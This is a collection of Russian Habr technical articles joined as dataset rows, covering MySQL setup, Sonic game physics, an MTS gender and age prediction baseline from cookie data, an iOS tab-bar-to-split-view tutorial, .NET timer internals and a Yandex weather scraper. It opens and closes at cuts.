• Запретить вход в систему удаленно? (Нажмите y | Y для Yes, любую другую клавишу для No): y
• Удалить тестовую базу данных и получить доступ к ней? (Нажмите y | Y для Yes, любую другую клавишу для No): y
• Обновить таблицы привилегий сейчас? (Нажмите y | Y для Yes, любую другую клавишу для No): y
Далее перезапустим MySQL:
`sudo systemctl status mysql`
`sudo systemctl enable mysql`
 Для того, чтобы не вводить каждый раз пароль, мы можем его прописать в домашней папке в файле .my.cnf, имеющем следующую структуру:
`sudo su`
`cd $HOME`
`nano .my.cnf`
`[client]`
`Password=“Otus321$”`
`sudo mysql`
#### Архитектура MySQL
Прежде, чем выполнять какие-либо настройки и запросы в СУБД давайте посмотрим, из чего состоит MySQL.
Давайте посмотрим, как это устроено в процессах:
`$ ps ax | grep mysqld`
`$ ps –eLf | grep mysqld`
Как мы видим, процесс /usr/sbin/mysqld после успешного запуска порождает множество подпроцессов, которые использует СУБД в своей работе.
На файловом уровне MySQL хранит все данные в каталоге /var/lib/mysql:
`$ sudo ls -l /var/lib/mysql`
О некоторых представленных здесь файлах и каталогах мы еще будем говорить в следующих статьях.
Основной конфигурационный файл находится в /etc/mysql/mysql.conf.d/:
`nano /etc/mysql/mysql.conf.d/mysqld.cnf`
Для тестовой инсталляции как правило вносить изменения в этот файл не нужно.
#### Работаем с таблицами
Далее выполним sudo mysql и перейдем непосредственно в командную среду СУБД.
Структура таблиц после установки имеет следующий вид
`> use mysql`
`> show tables;`
Сейчас здесь присутствуют только служебные таблицы, созданные вместе с СУБД.
Создадим свою базу Otus\_test:
`CREATE DATABASE IF NOT EXISTS Otus_test;`
Можно было бы прибегнуть к использованию команды CREATE DATABASE но тогда мы бы получили ошибку, если бы такая база существовала.
Перейдем в созданную БД:
`USE Otus_test;`
Далее давайте создадим тестовую таблицу в которой будет три столбца: id, name, address. Первичным ключом будет id. В качестве движка явно укажем InnoDB.
`CREATE TABLE Otus_table`
`(`
`id int NOT NULL AUTO_INCREMENT,`
`name char(20) NOT NULL,`
`address char(20) NULL,`
`PRIMARY KEY (id)`
`) ENGINE=InnoDB;`
Добавим пару записей в таблицу:
`INSERT Otus_table(Name, Address) VALUES ('Admin', 'Moscow');`
`INSERT Otus_table(Name, Address) VALUES ('User', 'N/A');`
И сделаем выборку по таблице:
`SELECT * FROM Otus_table;`
Как видно все записи успешно добавлены в таблицу.
#### Немного о кодировках
Для промышленного использования СУБД необходимо, чтобы данные в кириллице хранились и отображались корректно. Кодировка (characher set) - набор используемых символов. Представление (collation) - набор правил для сравнения символов в наборе. Символьная кодировка может быть задана для сервера, базы данных, таблицы и колонок в таблице.
В качестве примера настроим кодировку UTF8 в качестве кодировки по-умолчанию. Для этого откроем уже известный нам файл конфигураций mysqld.cnf
`nano /etc/mysql/mysql.conf.d/mysqld.cnf`
и добавим в него следующее:
`[mysqld]`
`init_connect=‘SET collation_connection = utf8_unicode_ci’`
`character-set-server = utf8`
`collation-server = utf8_unicode_ci`
`[mysql]`
`default-character-set = utf8`
Далее перезапустим БД
`systemctl restart mysql`
Проверим корректность работы с кириллицей:
`INSERT Otus_table(Name, Address) VALUES ('Пользователь', 'N/A');`
`SELECT * FROM Otus_table;`
Как видно, русскоязычные данные корректно сохранены.
#### Заключение
В этой статье мы рассмотрели основы работы с CУБД MySQL, установку и базовую настройку. Далее мы будем говорить о репликации, построении отказоустойчивых конфигураций, партиционировании и бэкапах.
Так как данный материал подготовлен в рамках запуска курса "[Базы данных](https://otus.pw/NysZ/)", хочу порекомендовать всем читателям бесплатный урок по PostgreSQL 15. В рамках урока обсудим новый функционал, деплой в Яндекс Облаке и настройку защищенного подключения. Варианты обновления с предыдущих версий PostgreSQL и их особенности. Подводные камни при обновлении версий.
* [Зарегистрироваться на бесплатный урок](https://otus.pw/NysZ/) | https://habr.com/ru/post/712768/ | null | ru | null |
# Обзор физики в играх Sonic. Части 5 и 6: потеря колец и нахождение под водой
*Продолжение цикла статей о физике в играх про Соника. В этом посте рассматриваются потеря колец и нахождение под водой.*
**Ссылки на другие части серии:**
[Часть 1: твердые тайлы](https://habrahabr.ru/post/276669/)
[Часть 2: бег](https://habrahabr.ru/post/276849/)
[Части 3 и 4: прыжки и вращение](https://habrahabr.ru/post/278373/)
[Части 7 и 8: пружины и штуковины, суперскорости](https://habrahabr.ru/post/306756/)
Часть 5: потеря колец
=====================
* [1 Ограничения по кольцам](#Ring_Limit)
* [2 Разлёт колец](#Ring_Distribution)
* [3 Гравитация для колец](#Ring_Gravity)
* [4 Отскакивание колец](#Ring_Bounce)
* [5 Время «жизни» колец](#Ring_Lifespan)
* [6 Повторный сбор колец](#Regathering_Rings)
* [7 Неуязвимость](#Invulnerability)
* [8 Анимации колец](#Ring_Animations)
* [9 Глубина прорисовки колец](#Ring_Depth)
**Ограничения по кольцам**
Когда Соник ударяется о противника или опасные препятствия, он теряет все кольца, которые собрал, но в разные стороны разлетаются 32 кольца. Так что Соник не может повторно собрать более 32 колец, даже если их у него было 100.
**Разлёт колец**
Кольца, разлетающиеся от Соника, двигаются по определённой траектории из двух концентрических кругов, каждый из которых содержит не более 16 колец. Кольца в первом круге разлетаются быстрее, чем кольца во втором. Вот формула для создания колец, которую можно преобразовать в любой язык программирования:
```
{
let t = 0
let angle = 101.25 ; где 0=справа, 90=сверху, 180=слева, 270=внизу
let n = false
let speed = 4
while t < количества колец
{
создать объект "скачущее кольцо"
установить вертикальную скорость кольца равной -sin(angle)*speed
установить горизонтальную скорость кольца равной cos(angle)*speed
if n = true
{
умножить горизонтальную скорость кольца на -1
увеличить угол на 22.5
}
let n = not n ; if n = false, n становится true, и наоборот
увеличить t на 1
if t = 16
{
let speed = 2 ; теперь мы на втором круге, так что уменьшаем скорость
let angle = 101.25 ; снова задаём угол
}
}
}
```
Итак, первые 16 колец двигаются со скоростью 4 пикселя за цикл, а вторые 16 — в два раза медленнее (2 пикселя за цикл).
**Гравитация для колец**
Кольца не используют ту же гравитационную константу, что и Соник. Значение их силы гравитации равно 0.09375. Поэтому это значение добавляется каждый цикл к вертикальной скорости колец.
**Отскакивание колец**
Когда разлетающиеся кольца касаются земли, их вертикальная скорость умножается на коэффициент -0.75. Это приводит к изменению направления их вертикального движения, а также снижает скорость. Этот расчёт выполняется после добавления гравитации. Отскакивание колец не влияет на их горизонтальную скорость.
Расчёт отскока колец выполняется так приблизительно, что это почти раздражает. Но при обычной игре это на самом деле незаметно, и возможно, это было необходимо, чтобы избежать тормозов. Похоже, они не проверяют каждый цикл, столкнулись ли с землёй, так что иногда они довольно сильно погружаются в поверхность, прежде чем решить отскочить обратно. Такое поведение не нужно эмулировать.
Однако существуют другие ограничения для скачущих колец, возможно они используются, чтобы избежать нагрузки на процессор. На кольца совершенно не влияют стены, и они взаимодействуют с вертикальными поверхностями. Кроме того, они проверяют столкновения с поверхностью только когда двигаются вниз (т.е. когда их вертикальная скорость положительна). Поэтому они даже могут пролетать через потолок. Иногда это действительно может стать проблемой для Соника, если его ударят в маленьком коридоре, потому что большинство колец залетит на потолок и их невозможно будет собрать снова.
Если бы я использовал систему, мощнее чем Genesis/Mega Drive, я бы запрограммировал кольца проверять горизонтальные столкновения. При столкновении они должны умножать свою горизонтальную скорость на коэффициент -0.25. Также они должны проверять столкновения с потолками, определяя, случилось ли столкновение при движении вверх или вниз. Если они двигались вниз, они должны отскакивать, как обычно, но если они двигались вверх, они должны обнулять свою вертикальную скорость. Это было бы милосерднее к игроку, так большинство колец бы не терялось при попытке повторного сбора.
**Время «жизни» колец**
Все разлетающиеся кольца уничтожаются через 256 циклов, если не были собраны повторно. Также они уничтожаются при выходе за горизонтальные границы экрана. И, опять же, на более мощной системе, такое поведение можно и не эмулировать.
**Повторный сбор колец**
После удара Сонику нужно 64 циклов, прежде чем он сможет повторно собрать разлетевшиеся кольца.
**Неуязвимость**
После удара Соник становится на краткий промежуток времени неуязвимым. Эта неуязвимость длится, пока Соник отлетает от удара, а затем ещё 120 циклов после возобновления движения. В течение этих 120 циклов он мерцает, исчезая и появляясь через каждые 4 цикла.
**Анимации колец**
Висящие на месте кольца имеют 4 кадра анимации, и сменяют кадры через каждые 8 циклов. Поведение разлетающихся колец более сложно, потому что у них более высокая скорость анимации при создании, но с течением времени она снижается. В начале кадры анимации сменяются каждые 2 цикла, но в конце замедляются и меняются каждые 16 циклов или около того. Пока я не знаю точных значений. Разлетающиеся кольца создаются с одним начальным кадром анимации — кольцо видно целиком.
**Глубина прорисовки колец**
И разлетающиеся, и висящие кольца имеют бОльшую глубину, чем Соник, то есть прорисовываются за ним. Но они имеют меньшую глубину, то есть прорисовываются над ним, когда превращаются в искры.
Часть 6: нахождение под водой
=============================
Когда Соник находится под водой, он двигается более медленно, но в целом физика остаётся той же. В основном это достигается делением пополам соответствующих переменных, но некоторые, такие как гравитация и начальная скорость прыжка, не равны точно половине.
* [1 Переменные](#Variables)
+ [1.1 Ускорение](#Acceleration)
+ [1.2 Замедление](#Deceleration)
+ [1.3 Сила трения](#Friction)
+ [1.4 Максимальная скорость](#Top_Speed)
+ [1.5 Ускорение в воздухе](#Air Acceleration)
+ [1.6 Гравитация](#Gravity)
+ [1.7 Скорость прыжка](#Jump_Velocity)
* [2 Пузыри](#Bubbles)
* [3 Вход и выход](#Entry_Exit)
* [4 Утопание](#Drowning)
* [5 Speed Shoes](#Speed_Shoes)
* [6 Скорости анимаций](#Animation_Speeds)
**Переменные**
**Ускорение**
Ускорение имеет половинное значение от обычного: 0.0234375.
**Замедление**
Замедление имеет половинное значение от обычного: 0.25.
Замедление при вращении остаётся неизменным.
**Сила трения**
Сила трения имеет половинное значение от обычного: 0.0234375.
Сила трения при вращении имеет значение 0.01171875.
**Максимальная скорость**
Максимальная скорость бега Соника равна 3, половине от обычного значения.
**Ускорение в воздухе**
Ускорение в воздухе действует обычным способом, но имеет значение 0.046875, в два раза меньше обычного.
**Гравитация**
Гравитация равна 0.0625. Благодаря этому Соник падает гораздо более медленно.
**Скорость прыжка**
Начальная скорость прыжка равна -3.5 (-3 для Наклза), скорость в момент отделения от земли равна -2.
**Пузыри**
Когда Соник сталкивается под водой с пузырём, его скорости по X и Y обе становятся равны 0.
**Вход и выход**
Когда Соник падает в воду, его горизонтальная скорость умножается на 0.5, а вертикальная скорость умножается на 0.25 (это происходит после добавления гравитации). И наоборот, когда Соник выпрыгивает из воды, его вертикальная скорость удваивается (после добавления значения «водной» гравитации) и он начинает двигаться быстрее, потому что вода больше не влияет на его движение (однако выход из воды не влияет на горизонтальную скорость).
**Утопание**
Когда Соник тонет, его скорости по X и Y обе становятся равными 0, а «водная» гравитация остаётся обычной.
**Speed Shoes**
Если на Сонике надеты Speed Shoes и он попадает под воду, водные переменные имеют большее влияние, таким образом обнуляя все эффекты Speed Shoes. Никакие расчёты, например умножение на 0.5, не выполняются.
**Скорости анимаций**
Погружение под воду никак не влияет на скорость анимации Соника. Анимации, чьи скорости пропорциональны переменным, которые меняются, таким как скорость Соника, изменяются автоматически в той же пропорции.
*P.S. для внимательных и любопытных читателей. В этой серии постов есть небольшая пасхалка, а именно — два зашифрованных английских слова. Каждая часть содержит ровно одну букву (то есть сейчас можно расшифровать уже 6 букв), всего их, как и частей, будет 14. В следующих постах я буду выкладывать подсказки, а пока первая: код содержится не в HTML, никакой стеганографии и таинственных сторонних сайтов. Ваши догадки можете присылать в личку, для рид-онли и просто читателей в профиле есть моя почта. Первому отгадавшему будет какой-нибудь приятный бонус (например, перевод интересной для него статьи). (Надеюсь, такие загадки не против правил Хабра)*
 | https://habr.com/ru/post/305312/ | null | ru | null |
# ML-задача на 30 минут: гадаем по cookie
«Я тебя по IP вычислю!» – помните такую угрозу из интернета времен нулевых годов? Мы в [Big Data МТС](https://career.habr.com/companies/mts/vacancies) решили выяснить, можно ли составить хотя бы приблизительное представление о человеке, обладая информацией о сайтах, которые он посещает. Для этого мы сгенерировали полусинтетические данные, чтобы понять, насколько смелыми можно быть в этих ваших интернетах.
Информация о посещенных сайтах доступна не по конкретному Иван Иванычу, а по обезличенной сущности cookie, используемой в качестве id пользователя при обмене данными между рекламными DSP- и SSP- площадками.
Вопрос звучит так: сможем ли мы по цифровым следам пользователя (на каких сайтах с каких IP он сидел, сколько раз заходил, какое у него устройство) понять, **кто этот пользователь?** Студент или пенсионер? Мужчина или женщина? Как много информации мы вообще сможем получить?
Вообще в Digital-рекламе сегмент часто включает себя пол и один из бакетов по возрасту (<18, 18-24, 25-34, 35-44, 45-54, 55-64, 65+). Эта задача особенно актуальна для рекламных DSP-площадок, которые в OpenRTB запросах получают такие данные с частотой 200 000 запросов в секунду со всех сайтов, размещающих рекламу за деньги.
Приглашаем и вас **попробовать составить портрет** рядового пользователя ~~Хабра~~ десятка почти случайных сайтов и посмотреть, насколько точным он получится.
Ниже – наш baseline решения – без кросс-валидации, подбора гиперпараметров, feature engineering и прочих приятных сердцу вещей. Такое решение можно написать в метро по дороге от Речного вокзала до Технопарка (именно здесь находится офис МТС Digital). Этот путь займет чуть больше 30 минут.
### Знакомый всем DS-иконостас
Однако в этот раз мы оставили только самое нужное =) (ну почти).
```
import sys
import os
import warnings
os.environ['OPENBLAS_NUM_THREADS'] = '1'
warnings.filterwarnings('ignore')
```
```
import pandas as pd
import numpy as np
import time
import pyarrow.parquet as pq
import scipy
import implicit
import bisect
import sklearn.metrics as m
from catboost import CatBoostClassifier, CatBoostRegressor, Pool
from sklearn.model_selection import train_test_split
from sklearn.calibration import calibration_curve, CalibratedClassifierCV
```
```
LOCAL_DATA_PATH = './context_data/'
SPLIT_SEED = 42
DATA_FILE = 'competition_data_final_pqt'
TARGET_FILE = 'competition_target_pqt'
```
#### Прочитаем файлы
```
data = pq.read_table(f'{LOCAL_DATA_PATH}/{DATA_FILE}')
pd.DataFrame([(z.name, z.type) for z in data.schema], \
columns = [['field', 'type']])
```
В таблице выше:
* регион;
* населенный пункт;
* производитель устройства;
* модель устройства;
* домен, с которого пришел рекламный запрос;
* тип устройства (смартфон или что-то другое);
* операционка на устройстве;
* оценка цены устройства;
* дата;
* время дня;
* число запросов к домену в эту часть дня в эту дату;
* id пользователя.
```
data.select(['cpe_type_cd']).to_pandas()['cpe_type_cd'].value_counts()
```
Для себя открыл слово [фаблет](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B1%D0%BB%D0%B5%D1%82).
```
targets = pq.read_table(f'{LOCAL_DATA_PATH}/{TARGET_FILE}')
pd.DataFrame([(z.name, z.type) for z in targets.schema], \
columns = [['field', 'type']])
```
ну тут все ясно### Ок, нам лень генерить фичи
Вместо этого посмотрим на задачу, как на рекомендательную систему: факторизуем матрицу взаимодействий Users и Items (под которыми понимаем посещенные домены) – ожидаем, что получим полезный эмбеддинг, да и придумывать ничего не придется. Понятно, что мы потеряем последовательность и временные характеристики, но что делать, мы уже почти на Белорусской.
```
%%time
data_agg = data.select(['user_id', 'url_host', 'request_cnt']).\
group_by(['user_id', 'url_host']).aggregate([('request_cnt', "sum")])
```
```
url_set = set(data_agg.select(['url_host']).to_pandas()['url_host'])
print(f'{len(url_set)} urls')
url_dict = {url: idurl for url, idurl in zip(url_set, range(len(url_set)))}
usr_set = set(data_agg.select(['user_id']).to_pandas()['user_id'])
print(f'{len(usr_set)} users')
usr_dict = {usr: user_id for usr, user_id in zip(usr_set, range(len(usr_set)))}
```
не самая большая матрица выйдет
```
%%time
values = np.array(data_agg.select(['request_cnt_sum']).to_pandas()['request_cnt_sum'])
rows = np.array(data_agg.select(['user_id']).to_pandas()['user_id'].map(usr_dict))
cols = np.array(data_agg.select(['url_host']).to_pandas()['url_host'].map(url_dict))
mat = scipy.sparse.coo_matrix((values, (rows, cols)), shape=(rows.max() + 1, cols.max() + 1))
als = implicit.approximate_als.FaissAlternatingLeastSquares(factors = 50, \
iterations = 30, use_gpu = False, calculate_training_loss = False, regularization = 0.1)
```
```
%%time
als.fit(mat)
u_factors = als.model.user_factors
d_factors = als.model.item_factors
```
30 итераций за 30 сек -- спасибо FAISS!### Получим оценку по полу
Раз уж у нас есть эмбеддинг пользователя, потестируем его на задаче – предсказать пол пользователя, запуская все из коробки и забывая про все остальные фичи.
```
%%time
inv_usr_map = {v: k for k, v in usr_dict.items()}
usr_emb = pd.DataFrame(u_factors)
usr_emb['user_id'] = usr_emb.index.map(inv_usr_map)
usr_targets = targets.to_pandas()
df = usr_targets.merge(usr_emb, how = 'inner', on = ['user_id'])
df = df[df['is_male'] != 'NA']
df = df.dropna()
df['is_male'] = df['is_male'].map(int)
df['is_male'].value_counts()
```
```
%%time
x_train, x_test, y_train, y_test = train_test_split(\
df.drop(['user_id', 'age', 'is_male'], axis = 1), df['is_male'], test_size = 0.33, random_state = SPLIT_SEED)
clf = CatBoostClassifier()
clf.fit(x_train, y_train, verbose = False)
print(f'GINI по полу {2 * m.roc_auc_score(y_test, clf.predict_proba(x_test)[:,1]) - 1:2.3f}')
```
Не так уж плохо! Но мы почти доехали до Павелецкой.
### Получим оценку по возрасту
```
import seaborn as sns
import matplotlib.pyplot as plt
import plotly.express as px
%matplotlib inline
sns.set_style('darkgrid')
```
```
def age_bucket(x):
return bisect.bisect_left([18,25,35,45,55,65], x)
```
```
df = usr_targets.merge(usr_emb, how = 'inner', on = ['user_id'])
df = df[df['age'] != 'NA']
df = df.dropna()
df['age'] = df['age'].map(age_bucket)
sns.histplot(df['age'], bins = 7)
```
```
x_train, x_test, y_train, y_test = train_test_split(\
df.drop(['user_id', 'age', 'is_male'], axis = 1), \
df['age'], test_size = 0.33, random_state = SPLIT_SEED)
clf = CatBoostClassifier()
clf.fit(x_train, y_train, verbose = False)
print(m.classification_report(y_test, clf.predict(x_test), \
target_names = ['<18', '18-25','25-34', '35-44', '45-54', '55-65', '65+']))
```
### Критерии сравнения
Оказалось, что пол определить намного проще, чем возраст.
Поэтому в итоговый скор соревнования войдут Gini по полу (от 0 до 1) и f1 weighted по возрасту – с весом два:
#### Итого общий скор: 0.665 + 2 \* 0.41 = 1.485
Для поездки от Речного до Технопарка терпимо. =)
На этом все! Если же хочется более серьезных задач – **ждем вас на соревнованиях по Machine Learning 30 января**, это турнир по определению пола/возраста владельца cookie от МТС Digital. Призовой фонд MTC ML Cup – **650 000 рублей**: победитель получит 350 000 рублей, обладатель серебра – 200 000 рублей, а третий призер станет богаче на 100 000 рублей. Регистрация уже открыта, простая анкета для участников и [все подробности](https://ods.ai/competitions/mtsmlcup) – [на сайте](https://ods.ai/competitions/mtsmlcup). Увидимся на соревновании!
Спасибо за уделенное время! Если у вас есть иные способы решения поставленной задачи или же вы знаете, как сократить необходимое на решение время до пары перегонов между станциями метро – **обязательно расскажите об этом в комментариях!**
### P.S.
Возможно, вам полезно будет попробовать более новые и быстрые библиотеки по работе с табличками вместо Pandas и PyArrow:
[Polars](https://github.com/pola-rs/polars)
[CuDF](https://github.com/rapidsai/cudf)
И библиотеки для RecSys:
[MTS RecTools](https://github.com/MobileTeleSystems/RecTools)
[LightFM](https://making.lyst.com/lightfm/docs/home.html)
[Transformers4Rec](https://nvidia-merlin.github.io/Transformers4Rec/main/index.html)
[ReChorus](https://github.com/THUwangcy/ReChorus)
[RecBole](https://recbole.io/) | https://habr.com/ru/post/709602/ | null | ru | null |
# Легким движением руки UITabBarController превращается в UISplitViewController
Доброй ночи/утра/дня/вечера
Как видно из названия статьи я расскажу вам о том, как потратив минимум сил и времени, превратить iPhone`ский UITabBarController в iPad`овский “UISplitViewController”
Для этого нам понадобится: проект(под iPad) с [предыдущего моего рассказа](http://habrahabr.ru/blogs/macosxdev/91366/), xib файл(под iPhone) с UITabBarController'ом и класс-контроллер к нему. Первое у меня было. Что касается второго и третьего, то я быстро создал xib в Interface Builder'е и дал ему незамысловатое имя iPhoneTabBar.xib.
[](http://hotimg23.fotki.com/p/a/195_39/211_226/tabbar826.png "FREE Fotki Image Hosting")
Так как наш UITabBarController создавался лишь для демонстрации, то я…
вообщем ни~~хрена~~чего он не умеет делать. Единственное что я добавил — это UIAlertView, которое выскакивает при нажатии на кнопку Click Me(находится на одной из закладок). Код приведен ниже
*iPhoneTabBar.h*
> `#import
>
>
>
> @interface iPhoneTabBar : UITabBarController { }
>
> -(IBAction) showAlert;
>
> @end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
*iPhoneTabBar.m*
> `#import "iPhoneTabBar.h"
>
> @implementation iPhoneTabBar
>
> -(IBAction) showAlert{
>
> UIAlertView\* alert= [[UIAlertView alloc] initWithTitle:@"Title"
>
> message:@"message"
>
> delegate:nil
>
> cancelButtonTitle:@"Ok"
>
> otherButtonTitles:nil];
>
> [alert show];
>
> [alert release];
>
> }
>
> - (void)didReceiveMemoryWarning {
>
> // Releases the view if it doesn't have a superview.
>
> [super didReceiveMemoryWarning];
>
>
>
> // Release any cached data, images, etc that aren't in use.
>
> }
>
> - (void)viewDidUnload {
>
> [super viewDidUnload];
>
> // Release any retained subviews of the main view.
>
> // e.g. self.myOutlet = nil;
>
> }
>
> - (void)dealloc {
>
> [super dealloc];
>
> }
>
> @end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Ну что ж, начнем. Открыв проект с предыдущей моей статьи добавим в него наш TabBar. Выглядеть это будет так:
[](http://hotimg23.fotki.com/p/a/195_39/211_226/pro.png "FREE Fotki Image Hosting")
Теперь модифицируем наш класс MasterViewController.
В заголовочный файл добавим IBOutlet переменную — указатель на класс контроллер iPhoneTabBar. Это позволит нам при выборе пользователем пункта меню в левой части SplitViewControllera сообщать UITabBarу, что нужно показать соответсвующую страницу+ еще кое что.
*MasterViewController.h*
> `#import
>
> @class DetailViewController;
>
> @class iPhoneTabBar;
>
> @interface MasterViewController : UITableViewController {
>
> IBOutlet DetailViewController\* detailViewController;
>
> IBOutlet iPhoneTabBar\* iphoneTabBar;
>
> }
>
>
>
> @end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
А теперь самое главное: в реализации класса MasterViewController следует добавить(или заменить, если он был раньше) метод viewDidLoad, который будет вызываться сразу после загрузки view. В нем мы помещаем на нашу detailView содержимое (если точней выражаться то саму view) UITabBarController'a, предварительно спрятав панельку UITabBar, которая внизу
> `-(void) viewDidLoad{
>
> [super viewDidLoad];
>
> iphoneTabBar.view.frame=CGRectMake(0, 0, detailViewController.view.frame.size.width,detailViewController.view.frame.size.height+49);
>
> iphoneTabBar.tabBar.hidden=TRUE;
>
> [detailViewController.view insertSubview:iphoneTabBar.view atIndex:1];
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
При выборе пользователем одной из ячеек таблицы(didSelectRowAtIndexPath) мы должны переключится на новую страницу UITabBar'a
> `- (void)tableView:(UITableView \*)tableView didSelectRowAtIndexPath:(NSIndexPath \*)indexPath {
>
> iphoneTabBar.selectedViewController = [iphoneTabBar.viewControllers objectAtIndex:indexPath.row];
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Последние штрихи: открыв в InterfaceBuilder'e iPhoneTabBar.xib и AlternativeSplitViewController.xib перетащим(или просто скопируем) с первого во второй UITabBarController. Еще надо связать нашу IBOutlet переменную с этим UITabBarController
[](http://hotimg23.fotki.com/p/a/195_39/211_226/ib.png "FREE Fotki Image Hosting")
Вот и все)
Несколько скриншотов ниже:
[](http://hotimg23.fotki.com/p/a/195_39/211_226/res1781.jpg "FREE Fotki Image Hosting")
[](http://hotimg23.fotki.com/p/a/195_39/211_226/res2.jpg "FREE Fotki Image Hosting")
[](http://hotimg23.fotki.com/p/a/195_39/211_226/res3.jpg "FREE Fotki Image Hosting")
[](http://hotimg23.fotki.com/p/a/195_39/211_226/res4.jpg "FREE Fotki Image Hosting")
**Плюсы:**минимум времени на портирование + простота реализации.
**Минусы**: [костыль](http://lurkmore.ru/Костыль)… добавить нечего.
ссылка на исходники [здесь](http://upload.com.ua/link/901597008/) и [здесь](http://rapidshare.com/files/382458293/AlternativeSplit.zip.html)
Мдя, какая то странная вышла статья… | https://habr.com/ru/post/92593/ | null | ru | null |
# Timers in .Net
В последнее время не в первый раз сталкиваюсь с тем, что разработчики не до конца понимают как работает один из стандартных таймеров в .NET — System.Threading.Timer.
Т.е. в общем-то они вроде понимают что таймер что-то выполняет, скорее всего в ThreadPool — и если его использовать для периодического выполнения чего-либо, то он вполне подойдет. Но вот если вам надо создать не один таймер, а положим 1000, то тут люди начинают волноваться: а вдруг вот что-то там не так, а вдруг это все-таки 1000 потоков и даже боятся использовать их в таких случаях.
Хотелось бы пролить немного света на этот «таинственный» System.Threading.Timer.
В .NET еще существуют другие таймеры, но они в основном предназначены для решения специфических задач(например, для написания GUI приложений). Нами рассматриваемый предназначен для решения «системных» задач или использования в библиотеках.
Немного о том, как бы мы могли реализовать таймер.
Например, мы могли бы для каждой периодически выполняемой единицы работы создавать отдельный поток который просыпался бы по истечению определенного интервала времени, выполнял работу и засыпал опять. Понятно что это не самый лучший вариант.
Можно было бы пойти другим путем и использовать объект ядра «таймер». Для каждой периодической единицы работы создавать объект ядра и в отдельном потоке ожидать на них в стиле:
```
WaitHandle.WaitAny(/*timerHandles[]*/)
```
Но, к сожалению или нет, в .NET нет API для прямой работы с такими объектами(таймерами ядра).
Есть третий вариант реализации таймера(получившийся у разработчиков класса System.Threading.Timer)
При создании первого в домене приложения таймера через механизм P/Invoke создается объект ядра «таймер» это можно увидеть в классе System.Threading.TimerQueue:
```
[SecurityCritical]
[SuppressUnmanagedCodeSecurity]
[DllImport("QCall", CharSet = CharSet.Unicode)]
private static TimerQueue.AppDomainTimerSafeHandle CreateAppDomainTimer(uint dueTime);
// some code
if (this.m_appDomainTimer == null || this.m_appDomainTimer.IsInvalid)
{
this.m_appDomainTimer = TimerQueue.CreateAppDomainTimer(dueTime);
// some code
```
Также создается отдельный поток который высчитывает сколько надо подождать до ближайшего срабатывания одного из таймеров, устанавливает соответствующие параметры объекту ядра «таймер» и ждет.
Давайте посмотрим как это выглядит. Создадим консольный проект и подключим SOS Debugging Extension.
Как мы видим, перед созданием таймера у нас всего два потока: «основной» и поток «финализатора». Давайте продвинемся на одну строку ниже.
У нас появились два потока — один, ID 3, это как раз и есть поток который работает с объектом ядра «таймер». А второй, ID 4, это рабочий поток пула, он еще не успел запуститься, в нем будут исполняться наши callback.
Теперь как это все работает если вы последовательно создаете несколько таймеров
Возвращаемся к классу System.Threading.TimerQueue. Он является синглтоном. Каждый раз когда вы пишете код вида:
```
new Timer(First, null, 0, 250);
```
Это приводит к добавлению экземпляра класса System.Threading.TimerQueueTimer в его внутреннюю очередь(являющуюся чем-то вроде LinkedList). Т.е. этот класс содержит внутри себя все созданные таймеры(я склоняюсь что в рамках домена).
После того как первый таймер был создан. У TimerQueue будет регулярно вызыватьcя метод FireNextTimers.
Что он делает(код длинный, я не стал приводить исходники, кому интересно может посмотреть сам):
Он быстро пробегается по всем сохраненным в нем таймерам и находит время до ближайшего срабатывания таймера и настраивает объект ядра таймер на посылку нотификации через этот интервал. Как только эта нотификация будет получена, время следующего срабатывания будет пересчитано и объект ядра таймер будет настроен на новый интервал. При добавлении нового таймера время следующей нотификации будет пересчитано.
Давайте попробуем создать 1000 таймеров и посмотрим что из этого получится:
Мы видим, что создание 1000 таймеров не влечет за собой создание 1000 потоков. CLR создало один поток для работы с таймером ядра и несколько рабочих потоков для обработки срабатываний таймера.
Итого:
Когда вы работаете с классом System.Threading.Timer создается один(на домен приложения) объект ядра «таймер» и один поток для работы с ним который работает по принципу схожему с работой структуры данных «куча».
К вопросу о 1000 таймеров — накладно ли создавать такое количество таймеров в приложении, думаю что каждый конкретный случай надо рассматривать отдельно. Но знание того как устроены таймеры изнутри поможет принять правильное решение.
Испытывалось на Windows 7 64, .Net 4.5, VS2012.
Используемая литература: Duffy «Concurrent Programming on Windows», MSDN | https://habr.com/ru/post/195814/ | null | ru | null |
# И снова Яндекс.Погода для сайта: время суток, направление ветра и прочие параметры
В продолжении поста о погоде [«Яндекс.Погода для сайта в деталях»](http://habrahabr.ru/post/232529/). Прочитав данный пост, я пришел к выводу, что тема еще актуальна, и хотел бы дополнить выше упомянутую статью своими наработками.
##### Задача
Найти сервис, который отдавал бы данные погоды с прогнозом не менее 10 дней с русской локализацией, средними величинами, временами суток и дополнительными параметрами по заданному городу.
##### Поиски решения
Опробовав разные сервисы отдающие данные погоды, я остановился на Яндекс.Погода, все условия задачи совпадали.
Так как мне нужны были данные по одному городу, первое, что я сделал, это нашел идентификатор (id) города в списке, предоставленном [здесь](http://weather.yandex.ru/static/cities.xml) и подставил его в *export.yandex.ru/weather-ng/forecasts/.xml*. В итоге я получил xml-файл с данными по погоде выбранного мной города.
##### Разбор изображений
На втором этапе нужно было получить собственные изображения состояния погоды. В xml-файле этот параметр обозначен как **image-v3**. Чтобы получить весь список изображений, а так же описание для каждого состояния я набросал небольшой кустарный скрипт, который парсит города из доступного списка и собирает все в два массива на вывод.
```
php
// парсер изображений и описания состояний
$col = 1; // кол-во дней (до 10, увеличивается время выдачи)
$data_file = 'http://weather.yandex.ru/static/cities.xml';
$xml = simplexml_load_file($data_file);
foreach ($xml-country as $key => $value) {
foreach ($value->city as $key1 => $value1):
$out = getWeather($value1["id"], $col);
foreach ($out as $day):
foreach ($day['weather'] as $weather):
$types[(string)$weather['weather_type']] = (string)$weather['image']; // массив описаний состояния с изображением
$images[(string)$weather['image']] = (string)$weather['weather_type']; // массив изображений с описанием состояния
endforeach;
endforeach;
endforeach;
}
foreach($types as $type=>$img):
echo ' -'. $type.'
';
endforeach;
echo '
---
';
foreach($images as $img=>$type):
echo ' -'. $type.'
``` | https://habr.com/ru/post/233243/ | null | ru | null |
# Наследование компонентов в Angular: простой способ решить проблему с Dependency Injection
